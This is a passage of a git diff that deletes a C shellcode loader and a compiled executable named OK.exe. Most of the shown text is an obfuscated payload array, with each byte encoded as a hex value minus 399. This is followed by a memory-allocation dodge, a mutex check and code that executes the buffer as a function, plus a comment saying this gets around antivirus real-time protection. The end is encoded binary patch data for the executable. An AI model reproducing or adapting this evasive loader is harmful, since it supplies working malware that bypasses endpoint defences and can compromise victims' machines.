'\x20f'-399; - buf[205] = '\x1ab'-399; - buf[206] = '\x1a4'-399; - buf[207] = '\x22d'-399; - buf[208] = '\x224'-399; - buf[209] = '\x1bd'-399; - buf[210] = '\x1b1'-399; - buf[211] = '\x1e2'-399; - buf[212] = '\x194'-399; - buf[213] = '\x272'-399; - buf[214] = '\x22b'-399; - buf[215] = '\x1c7'-399; - buf[216] = '\x1c6'-399; - buf[217] = '\x21c'-399; - buf[218] = '\x278'-399; - buf[219] = '\x1d6'-399; - buf[220] = '\x21b'-399; - buf[221] = '\x1cc'-399; - buf[222] = '\x1c5'-399; - buf[223] = '\x193'-399; - buf[224] = '\x1bf'-399; - buf[225] = '\x27d'-399; - buf[226] = '\x1dc'-399; - buf[227] = '\x260'-399; - buf[228] = '\x21b'-399; - buf[229] = '\x270'-399; - buf[230] = '\x1b2'-399; - buf[231] = '\x1f1'-399; - buf[232] = '\x192'-399; - buf[233] = '\x19e'-399; - buf[234] = '\x21d'-399; - buf[235] = '\x1a5'-399; - buf[236] = '\x1ec'-399; - buf[237] = '\x1c3'-399; - buf[238] = '\x22f'-399; - buf[239] = '\x1fa'-399; - buf[240] = '\x1a4'-399; - buf[241] = '\x270'-399; - buf[242] = '\x26e'-399; - buf[243] = '\x1fb'-399; - buf[244] = '\x20d'-399; - buf[245] = '\x1c3'-399; - buf[246] = '\x206'-399; - buf[247] = '\x1c3'-399; - buf[248] = '\x224'-399; - buf[249] = '\x28e'-399; - buf[250] = '\x22f'-399; - buf[251] = '\x279'-399; - buf[252] = '\x193'-399; - buf[253] = '\x1fe'-399; - buf[254] = '\x230'-399; - buf[255] = '\x288'-399; - buf[256] = '\x1e2'-399; - buf[257] = '\x1c5'-399; - buf[258] = '\x209'-399; - buf[259] = '\x240'-399; - buf[260] = '\x28e'-399; - buf[261] = '\x1e4'-399; - buf[262] = '\x214'-399; - buf[263] = '\x202'-399; - buf[264] = '\x1ba'-399; - buf[265] = '\x28c'-399; - buf[266] = '\x23e'-399; - buf[267] = '\x24c'-399; - buf[268] = '\x243'-399; - buf[269] = '\x25a'-399; - buf[270] = '\x203'-399; - buf[271] = '\x288'-399; - buf[272] = '\x19c'-399; - buf[273] = '\x1e7'-399; - buf[274] = '\x1d8'-399; - buf[275] = '\x1df'-399; - buf[276] = '\x1de'-399; - buf[277] = '\x200'-399; - buf[278] = '\x24e'-399; - buf[279] = '\x283'-399; - buf[280] = '\x1e8'-399; - buf[281] = '\x199'-399; - buf[282] = '\x27c'-399; - buf[283] = '\x1a6'-399; - buf[284] = '\x276'-399; - buf[285] = '\x27c'-399; - buf[286] = '\x1a2'-399; - buf[287] = '\x201'-399; - buf[288] = '\x1e3'-399; - buf[289] = '\x219'-399; - buf[290] = '\x23b'-399; - buf[291] = '\x210'-399; - buf[292] = '\x198'-399; - buf[293] = '\x27b'-399; - buf[294] = '\x1bb'-399; - buf[295] = '\x1b2'-399; - buf[296] = '\x261'-399; - buf[297] = '\x25f'-399; - buf[298] = '\x195'-399; - buf[299] = '\x229'-399; - buf[300] = '\x271'-399; - buf[301] = '\x1f2'-399; - buf[302] = '\x1d0'-399; - buf[303] = '\x1b5'-399; - buf[304] = '\x1b9'-399; - buf[305] = '\x24f'-399; - buf[306] = '\x26c'-399; - buf[307] = '\x19e'-399; - buf[308] = '\x277'-399; - buf[309] = '\x21d'-399; - buf[310] = '\x21c'-399; - buf[311] = '\x25f'-399; - buf[312] = '\x1ea'-399; - buf[313] = '\x1cc'-399; - buf[314] = '\x208'-399; - buf[315] = '\x23d'-399; - buf[316] = '\x22f'-399; - buf[317] = '\x283'-399; - buf[318] = '\x279'-399; - buf[319] = '\x229'-399; - buf[320] = '\x28c'-399; - buf[321] = '\x1b1'-399; - buf[322] = '\x1b5'-399; - buf[323] = '\x1e3'-399; - buf[324] = '\x196'-399; - buf[325] = '\x25e'-399; - buf[326] = '\x1b6'-399; - buf[327] = '\x244'-399; - buf[328] = '\x1b0'-399; - buf[329] = '\x24d'-399; - buf[330] = '\x267'-399; - buf[331] = '\x23d'-399; - buf[332] = '\x24c'-399; - buf[333] = '\x20d'-399; - buf[334] = '\x249'-399; - buf[335] = '\x1b2'-399; - buf[336] = '\x24e'-399; - buf[337] = '\x1e2'-399; - buf[338] = '\x23d'-399; - buf[339] = '\x1bd'-399; - buf[340] = '\x1e7'-399; - buf[341] = '\x24d'-399; - buf[342] = '\x26e'-399; - buf[343] = '\x223'-399; - buf[344] = '\x20d'-399; - buf[345] = '\x1b3'-399; - buf[346] = '\x253'-399; - buf[347] = '\x261'-399; - buf[348] = '\x18f'-399; - buf[349] = '\x206'-399; - buf[350] = '\x284'-399; - buf[351] = '\x196'-399; - buf[352] = '\x1f9'-399; - buf[353] = '\x276'-399; - buf[354] = '\x245'-399; - buf[355] = '\x21a'-399; - buf[356] = '\x1bc'-399; - buf[357] = '\x1ea'-399; - buf[358] = '\x20e'-399; - buf[359] = '\x1dd'-399; - buf[360] = '\x196'-399; - buf[361] = '\x19c'-399; - buf[362] = '\x249'-399; - buf[363] = '\x262'-399; - buf[364] = '\x272'-399; - buf[365] = '\x1c5'-399; - buf[366] = '\x269'-399; - buf[367] = '\x24a'-399; - buf[368] = '\x244'-399; - buf[369] = '\x1fd'-399; - buf[370] = '\x1d9'-399; - buf[371] = '\x19a'-399; - buf[372] = '\x220'-399; - buf[373] = '\x239'-399; - buf[374] = '\x200'-399; - buf[375] = '\x1b1'-399; - buf[376] = '\x1b9'-399; - buf[377] = '\x278'-399; - buf[378] = '\x229'-399; - buf[379] = '\x1d5'-399; - buf[380] = '\x219'-399; - buf[381] = '\x1ba'-399; - buf[382] = '\x1f1'-399; - buf[383] = '\x256'-399; - buf[384] = '\x1f3'-399; - buf[385] = '\x1e4'-399; - buf[386] = '\x209'-399; - buf[387] = '\x25d'-399; - buf[388] = '\x1bf'-399; - buf[389] = '\x232'-399; - buf[390] = '\x286'-399; - buf[391] = '\x210'-399; - buf[392] = '\x214'-399; - buf[393] = '\x261'-399; - buf[394] = '\x1cf'-399; - buf[395] = '\x28b'-399; - buf[396] = '\x260'-399; - buf[397] = '\x230'-399; - buf[398] = '\x1d5'-399; - buf[399] = '\x228'-399; - buf[400] = '\x204'-399; - buf[401] = '\x27e'-399; - buf[402] = '\x24c'-399; - buf[403] = '\x213'-399; - buf[404] = '\x238'-399; - buf[405] = '\x26e'-399; - buf[406] = '\x274'-399; - buf[407] = '\x1a8'-399; - buf[408] = '\x22f'-399; - buf[409] = '\x20c'-399; - buf[410] = '\x232'-399; - buf[411] = '\x1c4'-399; - buf[412] = '\x228'-399; - buf[413] = '\x267'-399; - buf[414] = '\x281'-399; - buf[415] = '\x1d5'-399; - buf[416] = '\x212'-399; - buf[417] = '\x1bc'-399; - buf[418] = '\x1a9'-399; - buf[419] = '\x223'-399; - buf[420] = '\x1c6'-399; - buf[421] = '\x1c7'-399; - buf[422] = '\x1bd'-399; - buf[423] = '\x25f'-399; - buf[424] = '\x1bc'-399; - buf[425] = '\x200'-399; - buf[426] = '\x23d'-399; - buf[427] = '\x23d'-399; - buf[428] = '\x27b'-399; - buf[429] = '\x28d'-399; - buf[430] = '\x1ae'-399; - buf[431] = '\x21f'-399; - buf[432] = '\x248'-399; - buf[433] = '\x1da'-399; - buf[434] = '\x20d'-399; - buf[435] = '\x1bd'-399; - buf[436] = '\x1b1'-399; - buf[437] = '\x1d9'-399; - buf[438] = '\x1fe'-399; - buf[439] = '\x1aa'-399; - buf[440] = '\x265'-399; - buf[441] = '\x231'-399; - buf[442] = '\x220'-399; - buf[443] = '\x19f'-399; - buf[444] = '\x1fd'-399; - buf[445] = '\x1ea'-399; - buf[446] = '\x1e5'-399; - buf[447] = '\x1c7'-399; - buf[448] = '\x1fe'-399; - buf[449] = '\x281'-399; - buf[450] = '\x23a'-399; - buf[451] = '\x235'-399; - buf[452] = '\x24d'-399; - buf[453] = '\x270'-399; - buf[454] = '\x260'-399; - buf[455] = '\x253'-399; - buf[456] = '\x1bc'-399; - buf[457] = '\x1e7'-399; - buf[458] = '\x1e5'-399; - buf[459] = '\x1b4'-399; - buf[460] = '\x1a2'-399; - buf[461] = '\x26d'-399; - buf[462] = '\x23a'-399; - buf[463] = '\x24d'-399; - buf[464] = '\x196'-399; - buf[465] = '\x1f6'-399; - buf[466] = '\x207'-399; - buf[467] = '\x20c'-399; - buf[468] = '\x22e'-399; - buf[469] = '\x1e8'-399; - buf[470] = '\x28d'-399; - buf[471] = '\x1b8'-399; - buf[472] = '\x27b'-399; - buf[473] = '\x280'-399; - buf[474] = '\x1d4'-399; - buf[475] = '\x237'-399; - buf[476] = '\x215'-399; - buf[477] = '\x1b3'-399; - buf[478] = '\x247'-399; - buf[479] = '\x262'-399; - buf[480] = '\x1bc'-399; - buf[481] = '\x266'-399; - buf[482] = '\x1e8'-399; - buf[483] = '\x1bb'-399; - buf[484] = '\x255'-399; - buf[485] = '\x1b8'-399; - buf[486] = '\x22a'-399; - buf[487] = '\x267'-399; - buf[488] = '\x203'-399; - buf[489] = '\x1dd'-399; - buf[490] = '\x19d'-399; - buf[491] = '\x27d'-399; - buf[492] = '\x26d'-399; - buf[493] = '\x251'-399; - buf[494] = '\x1dc'-399; - buf[495] = '\x27c'-399; - buf[496] = '\x1f3'-399; - buf[497] = '\x1e6'-399; - buf[498] = '\x275'-399; - buf[499] = '\x26b'-399; - buf[500] = '\x1a5'-399; - buf[501] = '\x214'-399; - buf[502] = '\x26b'-399; - buf[503] = '\x19e'-399; - buf[504] = '\x257'-399; - buf[505] = '\x229'-399; - buf[506] = '\x263'-399; - buf[507] = '\x227'-399; - buf[508] = '\x27d'-399; - buf[509] = '\x1a0'-399; - buf[510] = '\x1c7'-399; - buf[511] = '\x1e7'-399; - buf[512] = '\x1b7'-399; - buf[513] = '\x1fe'-399; - buf[514] = '\x275'-399; - buf[515] = '\x1a0'-399; - buf[516] = '\x23f'-399; - buf[517] = '\x207'-399; - buf[518] = '\x1c5'-399; - buf[519] = '\x1ae'-399; - buf[520] = '\x1e3'-399; - buf[521] = '\x235'-399; - buf[522] = '\x1bb'-399; - buf[523] = '\x198'-399; - buf[524] = '\x1e7'-399; - buf[525] = '\x1f6'-399; - buf[526] = '\x258'-399; - buf[527] = '\x19c'-399; - buf[528] = '\x22e'-399; - buf[529] = '\x1c4'-399; - buf[530] = '\x19a'-399; - buf[531] = '\x24c'-399; - buf[532] = '\x24a'-399; - buf[533] = '\x243'-399; - buf[534] = '\x24a'-399; - buf[535] = '\x269'-399; - buf[536] = '\x1ed'-399; - buf[537] = '\x238'-399; - buf[538] = '\x22b'-399; - buf[539] = '\x268'-399; - buf[540] = '\x1fc'-399; - buf[541] = '\x1a9'-399; - buf[542] = '\x191'-399; - buf[543] = '\x1ef'-399; - buf[544] = '\x1a5'-399; - buf[545] = '\x230'-399; - buf[546] = '\x234'-399; - buf[547] = '\x263'-399; - buf[548] = '\x25d'-399; - buf[549] = '\x1b6'-399; - buf[550] = '\x225'-399; - buf[551] = '\x1db'-399; - buf[552] = '\x218'-399; - buf[553] = '\x1a1'-399; - buf[554] = '\x22a'-399; - buf[555] = '\x21e'-399; - buf[556] = '\x281'-399; - buf[557] = '\x1d5'-399; - buf[558] = '\x1e4'-399; - buf[559] = '\x1dd'-399; - buf[560] = '\x288'-399; - buf[561] = '\x1d4'-399; - buf[562] = '\x1e7'-399; - buf[563] = '\x1f6'-399; - buf[564] = '\x1c6'-399; - buf[565] = '\x1ab'-399; - buf[566] = '\x282'-399; - buf[567] = '\x231'-399; - buf[568] = '\x1e9'-399; - buf[569] = '\x23b'-399; - buf[570] = '\x23f'-399; - buf[571] = '\x1a0'-399; - buf[572] = '\x1ed'-399; - buf[573] = '\x203'-399; - buf[574] = '\x27e'-399; - buf[575] = '\x202'-399; - buf[576] = '\x1e8'-399; - buf[577] = '\x26e'-399; - buf[578] = '\x20a'-399; - buf[579] = '\x19b'-399; - buf[580] = '\x26a'-399; - buf[581] = '\x1d5'-399; - buf[582] = '\x278'-399; - buf[583] = '\x237'-399; - buf[584] = '\x1fd'-399; - buf[585] = '\x271'-399; - buf[586] = '\x269'-399; - buf[587] = '\x249'-399; - buf[588] = '\x210'-399; - buf[589] = '\x281'-399; - buf[590] = '\x25f'-399; - buf[591] = '\x25b'-399; - buf[592] = '\x20b'-399; - buf[593] = '\x223'-399; - buf[594] = '\x27b'-399; - buf[595] = '\x23f'-399; - buf[596] = '\x1e9'-399; - buf[597] = '\x24a'-399; - buf[598] = '\x218'-399; - buf[599] = '\x1d3'-399; - buf[600] = '\x1b2'-399; - buf[601] = '\x1e4'-399; - buf[602] = '\x1dc'-399; - buf[603] = '\x1da'-399; - buf[604] = '\x23c'-399; - buf[605] = '\x1dc'-399; - buf[606] = '\x1b1'-399; - buf[607] = '\x197'-399; - buf[608] = '\x285'-399; - buf[609] = '\x28d'-399; - buf[610] = '\x1b4'-399; - buf[611] = '\x236'-399; - buf[612] = '\x1ed'-399; - buf[613] = '\x1c6'-399; - buf[614] = '\x1f0'-399; - buf[615] = '\x288'-399; - buf[616] = '\x1b9'-399; - buf[617] = '\x1f9'-399; - buf[618] = '\x286'-399; - buf[619] = '\x231'-399; - buf[620] = '\x26b'-399; - buf[621] = '\x1e6'-399; - buf[622] = '\x214'-399; - buf[623] = '\x221'-399; - buf[624] = '\x1fb'-399; - buf[625] = '\x21b'-399; - buf[626] = '\x282'-399; - buf[627] = '\x281'-399; - buf[628] = '\x254'-399; - buf[629] = '\x1c7'-399; - buf[630] = '\x27e'-399; - buf[631] = '\x1ab'-399; - buf[632] = '\x24d'-399; - buf[633] = '\x200'-399; - buf[634] = '\x1a4'-399; - buf[635] = '\x24c'-399; - buf[636] = '\x1ad'-399; - buf[637] = '\x1ed'-399; - buf[638] = '\x1b8'-399; - buf[639] = '\x1da'-399; - buf[640] = '\x1f8'-399; - buf[641] = '\x1cb'-399; - buf[642] = '\x217'-399; - buf[643] = '\x281'-399; - buf[644] = '\x25d'-399; - buf[645] = '\x27e'-399; - buf[646] = '\x229'-399; - buf[647] = '\x26d'-399; - buf[648] = '\x27c'-399; - buf[649] = '\x1e5'-399; - buf[650] = '\x225'-399; - buf[651] = '\x19f'-399; - buf[652] = '\x25c'-399; - buf[653] = '\x23f'-399; - buf[654] = '\x248'-399; - buf[655] = '\x28d'-399; - buf[656] = '\x248'-399; - buf[657] = '\x1dc'-399; - buf[658] = '\x27e'-399; - buf[659] = '\x233'-399; - buf[660] = '\x1e1'-399; - buf[661] = '\x1bd'-399; - buf[662] = '\x27d'-399; - buf[663] = '\x24a'-399; - buf[664] = '\x203'-399; - buf[665] = '\x1f2'-399; - buf[666] = '\x214'-399; - buf[667] = '\x264'-399; - buf[668] = '\x216'-399; - buf[669] = '\x20d'-399; - buf[670] = '\x206'-399; - buf[671] = '\x1e6'-399; - buf[672] = '\x22d'-399; - buf[673] = '\x192'-399; - buf[674] = '\x1e8'-399; - buf[675] = '\x218'-399; - buf[676] = '\x276'-399; - buf[677] = '\x1b3'-399; - buf[678] = '\x251'-399; - buf[679] = '\x272'-399; - buf[680] = '\x27f'-399; - buf[681] = '\x244'-399; - buf[682] = '\x1f9'-399; - buf[683] = '\x288'-399; - buf[684] = '\x210'-399; - buf[685] = '\x259'-399; - buf[686] = '\x287'-399; - buf[687] = '\x1a4'-399; - buf[688] = '\x1f0'-399; - buf[689] = '\x28c'-399; - buf[690] = '\x208'-399; - buf[691] = '\x238'-399; - buf[692] = '\x28e'-399; - buf[693] = '\x1fc'-399; - buf[694] = '\x1a0'-399; - buf[695] = '\x265'-399; - buf[696] = '\x28d'-399; - buf[697] = '\x1fd'-399; - buf[698] = '\x21c'-399; - buf[699] = '\x1f8'-399; - buf[700] = '\x218'-399; - buf[701] = '\x19a'-399; - buf[702] = '\x1cc'-399; - buf[703] = '\x226'-399; - buf[704] = '\x222'-399; - buf[705] = '\x236'-399; - buf[706] = '\x27a'-399; - buf[707] = '\x1c8'-399; - buf[708] = '\x24d'-399; - buf[709] = '\x24f'-399; - buf[710] = '\x200'-399; - buf[711] = '\x20c'-399; - buf[712] = '\x196'-399; - buf[713] = '\x19e'-399; - buf[714] = '\x1fd'-399; - buf[715] = '\x26f'-399; - buf[716] = '\x211'-399; - buf[717] = '\x1a4'-399; - buf[718] = '\x214'-399; - buf[719] = '\x280'-399; - buf[720] = '\x1a6'-399; - buf[721] = '\x1a6'-399; - buf[722] = '\x26c'-399; - buf[723] = '\x27e'-399; - buf[724] = '\x1f9'-399; - buf[725] = '\x275'-399; - buf[726] = '\x20d'-399; - buf[727] = '\x1d5'-399; - buf[728] = '\x197'-399; - buf[729] = '\x198'-399; - buf[730] = '\x1cc'-399; - buf[731] = '\x202'-399; - buf[732] = '\x269'-399; - buf[733] = '\x1c6'-399; - buf[734] = '\x216'-399; - buf[735] = '\x1be'-399; - buf[736] = '\x270'-399; - buf[737] = '\x20e'-399; - buf[738] = '\x1ea'-399; - buf[739] = '\x207'-399; - buf[740] = '\x1d4'-399; - buf[741] = '\x271'-399; - buf[742] = '\x22a'-399; - buf[743] = '\x263'-399; - buf[744] = '\x20b'-399; - buf[745] = '\x1c4'-399; - buf[746] = '\x22f'-399; - buf[747] = '\x23c'-399; - buf[748] = '\x1af'-399; - buf[749] = '\x244'-399; - buf[750] = '\x27c'-399; - buf[751] = '\x22a'-399; - buf[752] = '\x287'-399; - buf[753] = '\x1b9'-399; - buf[754] = '\x286'-399; - buf[755] = '\x1b5'-399; - buf[756] = '\x24a'-399; - buf[757] = '\x1dc'-399; - buf[758] = '\x244'-399; - buf[759] = '\x22e'-399; - buf[760] = '\x20f'-399; - buf[761] = '\x258'-399; - buf[762] = '\x25c'-399; - buf[763] = '\x1f9'-399; - buf[764] = '\x1d7'-399; - buf[765] = '\x209'-399; - buf[766] = '\x264'-399; - buf[767] = '\x214'-399; - buf[768] = '\x20a'-399; - buf[769] = '\x1de'-399; - buf[770] = '\x1d1'-399; - buf[771] = '\x1df'-399; - buf[772] = '\x220'-399; - buf[773] = '\x1b8'-399; - buf[774] = '\x1bd'-399; - buf[775] = '\x1ba'-399; - buf[776] = '\x1d3'-399; - buf[777] = '\x1c2'-399; - buf[778] = '\x19b'-399; - buf[779] = '\x28e'-399; - buf[780] = '\x1d6'-399; - buf[781] = '\x276'-399; - buf[782] = '\x1e3'-399; - buf[783] = '\x213'-399; - buf[784] = '\x208'-399; - buf[785] = '\x18f'-399; - buf[786] = '\x21d'-399; - buf[787] = '\x229'-399; - buf[788] = '\x1a9'-399; - buf[789] = '\x1cd'-399; - buf[790] = '\x1bf'-399; - buf[791] = '\x274'-399; - buf[792] = '\x191'-399; - buf[793] = '\x20a'-399; - buf[794] = '\x27a'-399; - buf[795] = '\x25c'-399; - buf[796] = '\x22d'-399; - buf[797] = '\x1e2'-399; - buf[798] = '\x1c0'-399; - buf[799] = '\x195'-399; - buf[800] = '\x1ee'-399; - buf[801] = '\x196'-399; - buf[802] = '\x201'-399; - buf[803] = '\x268'-399; - buf[804] = '\x215'-399; - buf[805] = '\x1aa'-399; - buf[806] = '\x265'-399; - buf[807] = '\x1c8'-399; - buf[808] = '\x242'-399; - buf[809] = '\x227'-399; - buf[810] = '\x1e4'-399; - buf[811] = '\x26e'-399; - buf[812] = '\x277'-399; - buf[813] = '\x1ce'-399; - buf[814] = '\x1f7'-399; - buf[815] = '\x23b'-399; - buf[816] = '\x1e4'-399; - buf[817] = '\x21f'-399; - buf[818] = '\x1a4'-399; - buf[819] = '\x224'-399; - buf[820] = '\x277'-399; - buf[821] = '\x1a2'-399; - buf[822] = '\x27a'-399; - buf[823] = '\x1fe'-399; - buf[824] = '\x215'-399; - buf[825] = '\x243'-399; - buf[826] = '\x249'-399; - buf[827] = '\x256'-399; - buf[828] = '\x1a4'-399; - buf[829] = '\x1f8'-399; - buf[830] = '\x223'-399; - buf[831] = '\x230'-399; - buf[832] = '\x19f'-399; - buf[833] = '\x288'-399; - buf[834] = '\x1ca'-399; - buf[835] = '\x214'-399; - buf[836] = '\x208'-399; - buf[837] = '\x1da'-399; - buf[838] = '\x24a'-399; - buf[839] = '\x277'-399; - buf[840] = '\x23f'-399; - buf[841] = '\x1b6'-399; - buf[842] = '\x226'-399; - buf[843] = '\x1e3'-399; - buf[844] = '\x210'-399; - buf[845] = '\x28c'-399; - buf[846] = '\x227'-399; - buf[847] = '\x215'-399; - buf[848] = '\x22c'-399; - buf[849] = '\x1f3'-399; - buf[850] = '\x20a'-399; - buf[851] = '\x230'-399; - buf[852] = '\x27d'-399; - buf[853] = '\x221'-399; - buf[854] = '\x19c'-399; - buf[855] = '\x190'-399; - buf[856] = '\x1f7'-399; - buf[857] = '\x25b'-399; - buf[858] = '\x258'-399; - buf[859] = '\x243'-399; - buf[860] = '\x265'-399; - buf[861] = '\x1a1'-399; - buf[862] = '\x249'-399; - buf[863] = '\x1cd'-399; - buf[864] = '\x269'-399; - buf[865] = '\x1ec'-399; - buf[866] = '\x20b'-399; - buf[867] = '\x1e6'-399; - buf[868] = '\x18f'-399; - buf[869] = '\x28d'-399; - buf[870] = '\x263'-399; - buf[871] = '\x1bc'-399; - buf[872] = '\x221'-399; - buf[873] = '\x1fd'-399; - buf[874] = '\x1dc'-399; - buf[875] = '\x268'-399; - buf[876] = '\x1b0'-399; - buf[877] = '\x1d2'-399; - buf[878] = '\x1d9'-399; - buf[879] = '\x1d2'-399; - buf[880] = '\x22b'-399; - buf[881] = '\x208'-399; - buf[882] = '\x235'-399; - buf[883] = '\x1de'-399; - buf[884] = '\x245'-399; - buf[885] = '\x285'-399; - buf[886] = '\x19e'-399; - buf[887] = '\x211'-399; - buf[888] = '\x1f8'-399; - buf[889] = '\x1aa'-399; - buf[890] = '\x195'-399; - buf[891] = '\x1f6'-399; - buf[892] = '\x191'-399; - buf[893] = '\x1a5'-399; - buf[894] = '\x273'-399; - buf[895] = '\x231'-399; - buf[896] = '\x254'-399; - buf[897] = '\x1bb'-399; - buf[898] = '\x275'-399; - buf[899] = '\x289'-399; - buf[900] = '\x238'-399; - buf[901] = '\x235'-399; - buf[902] = '\x27d'-399; - buf[903] = '\x1c2'-399; - buf[904] = '\x23f'-399; - buf[905] = '\x252'-399; - buf[906] = '\x22c'-399; - buf[907] = '\x1fe'-399; - - char *bb = malloc(MEM); - memset(bb, 22, MEM); - free(bb); - -HANDLE mutex; -mutex = CreateMutex(NULL, TRUE, "muuuu"); - if (GetLastError() == ERROR_ALREADY_EXISTS) -{ -; -} -else -{ -exit(0); -} - - // Checking NULL allows us to get around Real-time protection - void (*func)(); - func = (void (*)()) buf; - (void)(*func)(); - - return 0; -} \ No newline at end of file diff --git a/OK.exe b/OK.exe deleted file mode 100755 index 7a795aaa897820690147b29aeb120c6cd930b38f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 108984 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 